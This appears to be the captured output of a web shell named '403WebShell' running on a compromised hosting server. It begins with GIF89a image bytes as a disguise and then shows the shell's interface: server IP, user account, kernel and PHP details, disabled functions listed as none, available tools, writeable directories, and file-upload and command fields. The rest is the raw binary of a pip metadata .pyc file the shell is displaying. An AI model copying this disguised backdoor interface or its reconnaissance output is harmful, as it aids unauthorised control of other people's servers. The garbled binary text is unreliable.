GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.8/site-packages/pip/_vendor/distlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.8/site-packages/pip/_vendor/distlib/__pycache__/metadata.cpython-38.pyc
U

��.e*��@sdZddlmZddlZddlmZddlZddlZddlZddl	m
Z
mZddlm
Z
mZmZddlmZdd	lmZmZdd
lmZmZe�e�ZGdd�de
�ZGd
d�de
�ZGdd�de
�ZGdd�de
�ZdddgZdZ dZ!e�"d�Z#e�"d�Z$dZ%dZ&dZ'dZ(dZ)dZ*d Z+e*d!Z,d"Z-e.�Z/e/�0e%�e/�0e&�e/�0e(�e/�0e*�e/�0e,�e�"d#�Z1d$d%�Z2d&d'�Z3d(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdF�Z4dGZ5dHZ6dIZ7dJZ8dKZ9dLZ:dMZ;e<�Z=e�"dN�Z>dXdPdQ�Z?GdRdS�dSe<�Z@dTZAdUZBdVZCGdWd�de<�ZDdS)YzImplementation of the Metadata for Python packages PEPs.

Supports all metadata formats (1.0, 1.1, 1.2, and 2.0 experimental).
�)�unicode_literalsN)�message_from_file�)�DistlibException�__version__)�StringIO�string_types�	text_type)�	interpret)�extract_by_key�
get_extras)�
get_scheme�PEP440_VERSION_REc@seZdZdZdS)�MetadataMissingErrorzA required metadata is missingN��__name__�
__module__�__qualname__�__doc__�rr�@/usr/lib/python3.8/site-packages/pip/_vendor/distlib/metadata.pyrsrc@seZdZdZdS)�MetadataConflictErrorz>Attempt to read or write metadata fields that are conflictual.Nrrrrrr src@seZdZdZdS)� MetadataUnrecognizedVersionErrorz Unknown metadata version number.Nrrrrrr$src@seZdZdZdS)�MetadataInvalidErrorzA metadata value is invalidNrrrrrr(sr�Metadata�PKG_INFO_ENCODING�PKG_INFO_PREFERRED_VERSION�utf-8�1.1z

       \|�	
        )�Metadata-Version�Name�Version�Platform�Summary�Description�Keywords�	Home-page�Author�Author-email�License)r r!r"r#�Supported-Platformr$r%r&r'r(r)r*�
Classifier�Download-URL�	Obsoletes�Provides�Requires)r.r/r0r,r-)r r!r"r#r+r$r%r&r'r(r)�
Maintainer�Maintainer-emailr*r,r-�Obsoletes-Dist�Project-URL�
Provides-Dist�
Requires-Dist�Requires-Python�Requires-External)r5r6r7r3r8r1r2r4)r r!r"r#r+r$r%r&r'r(r)r1r2r*r,r-r3r4r5r6r7r8�Private-Version�Obsoleted-By�Setup-Requires-Dist�	Extension�Provides-Extra)r9r=r:r;r<)�Description-Content-Typer0r/)r>z"extra\s*==\s*("([^"]+)"|'([^']+)')cCsL|dkrtS|dkrtS|dkr$tS|dkr4ttS|dkr@tSt|��dS)N�1.0r�1.2)�1.3�2.1�2.0)�_241_FIELDS�_314_FIELDS�_345_FIELDS�_566_FIELDS�_426_FIELDSr)�versionrrr�_version2fieldlistpsrJc
CsBdd�}g}|��D]"\}}|gddfkr,q|�|�qddddd	d
g}|D]�}|tkrvd|krv|�d�t�d|�|tkr�d|kr�|�d�t�d|�|tkr�d|kr�|�d�t�d
|�|tkr�d|kr�|�d�t�d|�|tk�rd
|k�r|dk�r|�d
�t�d|�|t	krLd	|krL|�d	�t�d|�qLt
|�dk�rZ|dSt
|�dk�r|t�d|�td��d|k�o�||t�}d|k�o�||t
�}d
|k�o�||t�}d	|k�o�||t�}	t|�t|�t|�t|	�dk�r�td��|�s |�s |�s |	�s t|k�r tS|�r*dS|�r4dS|�r>d
Sd	S)z5Detect the best version depending on the fields used.cSs|D]}||krdSqdS)NTFr)�keys�markers�markerrrr�_has_marker�sz"_best_version.<locals>._has_marker�UNKNOWNNr?rr@rArCrBzRemoved 1.0 due to %szRemoved 1.1 due to %szRemoved 1.2 due to %szRemoved 1.3 due to %sr%zRemoved 2.1 due to %szRemoved 2.0 due to %srrz)Out of options - unknown metadata set: %szUnknown metadata setz,You used incompatible 1.1/1.2/2.0/2.1 fields)�items�appendrD�remove�logger�debugrErFrGrH�lenr�_314_MARKERS�_345_MARKERS�_566_MARKERS�_426_MARKERS�intr)
�fieldsrNrK�key�valueZpossible_versionsZis_1_1Zis_1_2Zis_2_1Zis_2_0rrr�
_best_version~s`






&
r^r r!r"r#r+r$r%r&r'r(r)r1r2r*r,r-r3r5r6r;r7r8r0r/r.r4r9r:r<r=)�metadata_version�namerI�platformZsupported_platform�summary�description�keywords�	home_page�author�author_email�
maintainer�maintainer_email�license�
classifier�download_url�obsoletes_dist�
provides_dist�
requires_dist�setup_requires_dist�requires_python�requires_external�requires�provides�	obsoletes�project_urlZprivate_versionZobsoleted_by�	extensionZprovides_extra)r6r3r5)r7)r")r#r,r.r0r/r3r5r6r8r4r+r;r=r<)r4)r&)r(r1r$r%z[^A-Za-z0-9.]+FcCs0|r$t�d|�}t�d|�dd��}d||fS)zhReturn the distribution name with version.

    If for_filename is true, return a filename-escaped form.�-� �.z%s-%s)�	_FILESAFE�sub�replace)r`rIZfor_filenamerrr�_get_name_and_version�sr~c@s
eZdZdZd?dd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zd@dd�Zdd�Zdd �Zd!d"�Zd#d$�ZdAd%d&�ZdBd'd(�ZdCd)d*�Zd+d,�Zefd-d.�ZdDd/d0�ZdEd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!dS)F�LegacyMetadataaaThe legacy metadata of a release.

    Supports versions 1.0, 1.1 and 1.2 (auto-detected). You can
    instantiate the class with one of these arguments (or none):
    - *path*, the path to a metadata file
    - *fileobj* give a file-like object with metadata as content
    - *mapping* is a dict-like object
    - *scheme* is a version scheme name
    N�defaultcCsz|||g�d�dkrtd��i|_g|_d|_||_|dk	rH|�|�n.|dk	r\|�|�n|dk	rv|�|�|�	�dS)N��'path, fileobj and mapping are exclusive)
�count�	TypeError�_fieldsZrequires_filesZ
_dependencies�scheme�read�	read_file�update�set_metadata_version)�self�path�fileobj�mappingr�rrr�__init__s
zLegacyMetadata.__init__cCst|j�|jd<dS�Nr )r^r��r�rrrr�"sz#LegacyMetadata.set_metadata_versioncCs|�d||f�dS)Nz%s: %s
)�write)r�r�r`r]rrr�_write_field%szLegacyMetadata._write_fieldcCs
|�|�S�N)�get�r�r`rrr�__getitem__(szLegacyMetadata.__getitem__cCs|�||�Sr�)�set)r�r`r]rrr�__setitem__+szLegacyMetadata.__setitem__cCs8|�|�}z|j|=Wntk
r2t|��YnXdSr�)�
_convert_namer��KeyError)r�r`�
field_namerrr�__delitem__.s

zLegacyMetadata.__delitem__cCs||jkp|�|�|jkSr�)r�r�r�rrr�__contains__5s
�zLegacyMetadata.__contains__cCs(|tkr|S|�dd���}t�||�S)Nrx�_)�_ALL_FIELDSr}�lower�_ATTR2FIELDr�r�rrrr�9szLegacyMetadata._convert_namecCs|tks|tkrgSdS)NrO)�_LISTFIELDS�_ELEMENTSFIELDr�rrr�_default_value?szLegacyMetadata._default_valuecCs&|jdkrt�d|�St�d|�SdS)N�r?r�
)r_�_LINE_PREFIX_PRE_1_2r|�_LINE_PREFIX_1_2�r�r]rrr�_remove_line_prefixDs
z"LegacyMetadata._remove_line_prefixcCs|tkr||St|��dSr�)r��AttributeErrorr�rrr�__getattr__JszLegacyMetadata.__getattr__FcCst|d|d|�S)zhReturn the distribution name with version.

        If filesafe is true, return a filename-escaped form.r!r")r~)r�Zfilesaferrr�get_fullnameUszLegacyMetadata.get_fullnamecCs|�|�}|tkS)z+return True if name is a valid metadata key)r�r�r�rrr�is_field[s
zLegacyMetadata.is_fieldcCs|�|�}|tkSr�)r�r�r�rrr�is_multi_field`s
zLegacyMetadata.is_multi_fieldcCs.tj|ddd�}z|�|�W5|��XdS)z*Read the metadata values from a file path.�rr��encodingN)�codecs�open�closer�)r��filepath�fprrrr�dszLegacyMetadata.readcCs�t|�}|d|jd<tD]p}||kr(q|tkrf|�|�}|tkrX|dk	rXdd�|D�}|�||�q||}|dk	r|dkr|�||�qdS)z,Read the metadata values from a file object.zmetadata-versionr NcSsg|]}t|�d���qS��,)�tuple�split��.0r]rrr�
<listcomp>ysz,LegacyMetadata.read_file.<locals>.<listcomp>rO)rr�r�r�Zget_all�_LISTTUPLEFIELDSr�)r�Zfileob�msg�field�valuesr]rrrr�ls
zLegacyMetadata.read_filecCs0tj|ddd�}z|�||�W5|��XdS)z&Write the metadata fields to filepath.�wrr�N)r�r�r��
write_file)r�r��skip_unknownr�rrrr��szLegacyMetadata.writecCs�|��t|d�D]�}|�|�}|r8|dgdgfkr8q|tkrV|�||d�|��q|tkr�|dkr�|jdkr~|�dd�}n|�dd�}|g}|t	kr�d	d
�|D�}|D]}|�|||�q�qdS)z0Write the PKG-INFO format data to a file object.r rOr�r%r�r�rz	
       |cSsg|]}d�|��qSr���joinr�rrrr��sz-LegacyMetadata.write_file.<locals>.<listcomp>N)
r�rJr�r�r�r�r�r_r}r�)r�Z
fileobjectr�r�r�r]rrrr��s$

zLegacyMetadata.write_filecsv�fdd�}|sn@t|d�r:|��D]}||||�q$n|D]\}}|||�q>|rr|��D]\}}|||�q^dS)a�Set metadata values from the given iterable `other` and kwargs.

        Behavior is like `dict.update`: If `other` has a ``keys`` method,
        they are looped over and ``self[key]`` is assigned ``other[key]``.
        Else, ``other`` is an iterable of ``(key, value)`` iterables.

        Keys that don't match a metadata field or that have an empty value are
        dropped.
        cs"|tkr|r����|�|�dSr�)r�r�r�)r\r]r�rr�_set�sz#LegacyMetadata.update.<locals>._setrKN)�hasattrrKrP)r��other�kwargsr��k�vrr�rr��s

zLegacyMetadata.updatecCsh|�|�}|tks|dkrNt|ttf�sNt|t�rHdd�|�d�D�}qzg}n,|tkrzt|ttf�szt|t�rv|g}ng}t�	t
j��r<|d}t|j
�}|tkr�|dk	r�|D](}|�|�d�d�s�t�d	|||�q�nb|tk�r|dk	�r|�|��s<t�d
|||�n0|tk�r<|dk	�r<|�|��s<t�d
|||�|tk�rZ|dk�rZ|�|�}||j|<dS)z"Control then set a metadata field.r#cSsg|]}|���qSr)�strip)r�r�rrrr��sz&LegacyMetadata.set.<locals>.<listcomp>r�r!N�;rz$'%s': '%s' is not valid (field '%s')z.'%s': '%s' is not a valid version (field '%s')r%)r�r��
isinstance�listr�rr�r�rSZisEnabledFor�loggingZWARNINGr
r��_PREDICATE_FIELDS�is_valid_matcher�warning�_VERSIONS_FIELDS�is_valid_constraint_list�_VERSION_FIELDS�is_valid_version�_UNICODEFIELDSr�r�)r�r`r]Zproject_namer�r�rrrr��sV
�
�

���


zLegacyMetadata.setcCs�|�|�}||jkr*|tkr&|�|�}|S|tkr@|j|}|S|tkr�|j|}|dkr^gSg}|D].}|tkr~|�|�qf|�|d|df�qf|S|tkr�|j|}t	|t
�r�|�d�S|j|S)zGet a metadata field.Nrrr�)r�r��_MISSINGr�r�r�r�rQr�r�rr�)r�r`r�r]�res�valrrrr��s.







zLegacyMetadata.getcs�|��gg}}dD]}||kr|�|�q|rP|gkrPdd�|�}t|��dD]}||krT|�|�qT|ddkr�||fSt|j���fdd�}t|ft�jft	�j
ffD]@\}}|D]2}	|�|	d	�}
|
d	k	r�||
�s�|�d
|	|
f�q�q�||fS)zkCheck if the metadata is compliant. If strict is True then raise if
        no Name or Version are provided)r!r"zmissing required metadata: %s�, )r'r(r r@cs(|D]}��|�d�d�sdSqdS)Nr�rFT)r�r�)r]r��r�rr�are_valid_constraints#sz3LegacyMetadata.check.<locals>.are_valid_constraintsNzWrong value for '%s': %s)r�rQr�rr
r�r�r�r�r�r�r�)r��strict�missing�warnings�attrr�r�r[Z
controllerr�r]rr�r�check	s8

���zLegacyMetadata.checkcCs�|��d}i}|D]"\}}|r*||jkr||||<q|ddkr�d}|D]B\}}|rb||jkrL|dkrx||||<qLdd�||D�||<qLn8|ddkr�d	}|D]"\}}|r�||jkr�||||<q�|S)
z�Return fields as a dict.

        Field names will be converted to use the underscore-lowercase style
        instead of hyphen-mixed case (i.e. home_page instead of Home-page).
        )
)r_r )r`r!)rIr")rbr$)rer')rfr()rgr))rjr*)rcr%)rdr&)rar#)�classifiersr,)rlr-r r@))ror6)rqr7)rrr8)rnr5)rmr3)rvr4)rhr1)rir2rvcSsg|]}d�|��qSr�r�)r��urrrr�bsz)LegacyMetadata.todict.<locals>.<listcomp>r))rtr/)rsr0)rur.)r�r�)r�Zskip_missingZmapping_1_0�datar\r�Zmapping_1_2Zmapping_1_1rrr�todict5s&
zLegacyMetadata.todictcCs8|ddkr$dD]}||kr||=q|d|7<dS)Nr r)r.r0r/r6r)r��requirementsr�rrr�add_requirementsps
zLegacyMetadata.add_requirementscCstt|d��Sr�)r�rJr�rrrrK{szLegacyMetadata.keysccs|��D]
}|VqdSr��rK)r�r\rrr�__iter__~szLegacyMetadata.__iter__cs�fdd����D�S)Ncsg|]}�|�qSrr�r�r\r�rrr��sz)LegacyMetadata.values.<locals>.<listcomp>r�r�rr�rr��szLegacyMetadata.valuescs�fdd����D�S)Ncsg|]}|�|f�qSrrr�r�rrr��sz(LegacyMetadata.items.<locals>.<listcomp>r�r�rr�rrP�szLegacyMetadata.itemscCsd|jj|j|jfS)Nz
<%s %s %s>)�	__class__rr`rIr�rrr�__repr__�s�zLegacyMetadata.__repr__)NNNr�)F)F)F)N)F)F)"rrrrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rKr�r�rPr�rrrrrs@�




,
,
;rzpydist.jsonz
metadata.jsonZMETADATAc@s�eZdZdZe�d�Ze�dej�Ze	Z
e�d�ZdZde
Zdddd	�Zd
ZdZedfedfe
dfedfd�Zd
ZdDdd�Zed�ZdefZdefZdefdefeeedefeeeedefddd�
Z[[dd�ZdEdd�Zdd�Zed d!��Z ed"d#��Z!e!j"d$d#��Z!dFd%d&�Z#ed'd(��Z$ed)d*��Z%e%j"d+d*��Z%d,d-�Z&d.d/�Z'd0d1�Z(d2d3�Z)d4d5d6d7d8dd9�Z*d:d;�Z+dGd>d?�Z,d@dA�Z-dBdC�Z.dS)Hrz�
    The metadata of a release. This implementation uses 2.0 (JSON)
    metadata where possible. If not possible, it wraps a LegacyMetadata
    instance which handles the key-value metadata format.
    z
^\d+(\.\d+)*$z!^[0-9A-Z]([0-9A-Z_.-]*[0-9A-Z])?$z	.{1,2047}rCzdistlib (%s)r)�legacy)r`rIrbzqname version license summary description author author_email keywords platform home_page classifiers download_urlzwextras run_requires test_requires build_requires dev_requires provides meta_requires obsoleted_by supports_environments)r_r`rIrb)�_legacy�_datar�Nr�c	Cs0|||g�d�dkrtd��d|_d|_||_|dk	rzz|�||�||_Wn*tk
rvt||d�|_|��YnXn�d}|r�t	|d��}|�
�}W5QRXn|r�|�
�}|dkr�|j|jd�|_ndt
|t�s�|�d�}zt�|�|_|�|j|�Wn0tk
�r*tt|�|d�|_|��YnXdS)Nr�r�)r�r��rb�r_�	generatorr)r�r�)r�r�r�r�r��_validate_mappingrr�validater�r��METADATA_VERSION�	GENERATORr�r	�decode�json�loads�
ValueErrorr)r�r�r�r�r�r��frrrr��s@
�


�zMetadata.__init__)r`rIrjrdrbr6r;r=r,)r-N)r N)
�run_requires�build_requires�dev_requiresZ
test_requires�
meta_requires�extras�modules�
namespaces�exports�commandsr�Z
source_urlr_c
CsXt�|d�}t�|d�}||k�r||\}}|jr^|dkrP|dkrHdn|�}n|j�|�}n�|dkrjdn|�}|dkr�|j�||�}n�t�}|}|j�d�}	|	�r
|dkr�|	�d|�}nP|dkr�|	�d�}	|	r�|	�||�}n,|	�d	�}	|	s�|j�d	�}	|	�r
|	�||�}||k�rT|}n:||k�r2t�||�}n"|j�rH|j�|�}n|j�|�}|S)
N�common_keys�mapped_keys�r	rrrr��
extensionsr	�python.commandsr��python.details�python.exports)�object�__getattribute__r�r�r�)
r�r\�common�mapped�lkZmaker�resultr]�sentinel�drrrrsD




zMetadata.__getattribute__cCsH||jkrD|j|\}}|p |j|krD|�|�}|sDtd||f��dS)Nz.'%s' is an invalid value for the '%s' property)�SYNTAX_VALIDATORSr��matchr)r�r\r]r��pattern�
exclusions�mrrr�_validate_value+s

��zMetadata._validate_valuecCs*|�||�t�|d�}t�|d�}||kr�||\}}|jrV|dkrJt�||j|<nf|dkrj||j|<nR|j�di�}|dkr�||d<n2|dkr�|�di�}|||<n|�d	i�}|||<nh||kr�t�|||�nP|d
k�rt|t	��r|�
�}|�r|��}ng}|j�r||j|<n
||j|<dS)Nr
rrr
r	rr�rrrd)rrrr��NotImplementedErrorr��
setdefault�__setattr__r�rr�r�)r�r\r]rrrr�rrrrr!5s<




zMetadata.__setattr__cCst|j|jd�S�NT)r~r`rIr�rrr�name_and_version\szMetadata.name_and_versioncCsF|jr|jd}n|j�dg�}d|j|jf}||krB|�|�|S)Nr5rtz%s (%s))r�r�r r`rIrQ)r�r�srrrrt`s
zMetadata.providescCs |jr||jd<n
||jd<dS)Nr5rt)r�r�r�rrrrtksc
Cs�|jr|}n�g}t|pg|j�}|D]d}d|kr>d|kr>d}n8d|krLd}n|�d�|k}|rv|�d�}|rvt||�}|r$|�|d�q$dD]F}d|}	|	|kr�|�|	�|j�d|g�}|�|j|||d��q�|S)	a�
        Base method to get dependencies, given a set of extras
        to satisfy and an optional environment context.
        :param reqts: A list of sometimes-wanted dependencies,
                      perhaps dependent on extras and environment.
        :param extras: A list of optional components being requested.
        :param env: An optional environment for marker evaluation.
        �extra�environmentTrs)ZbuildZdevZtestz:%s:z%s_requires)r�env)	r�rrr�r
�extendrRr��get_requirements)
r��reqtsrr'rrZincluderMr\�errrr)rs2	


�
zMetadata.get_requirementscCs|jr|��S|jSr�)r��_from_legacyr�r�rrr�
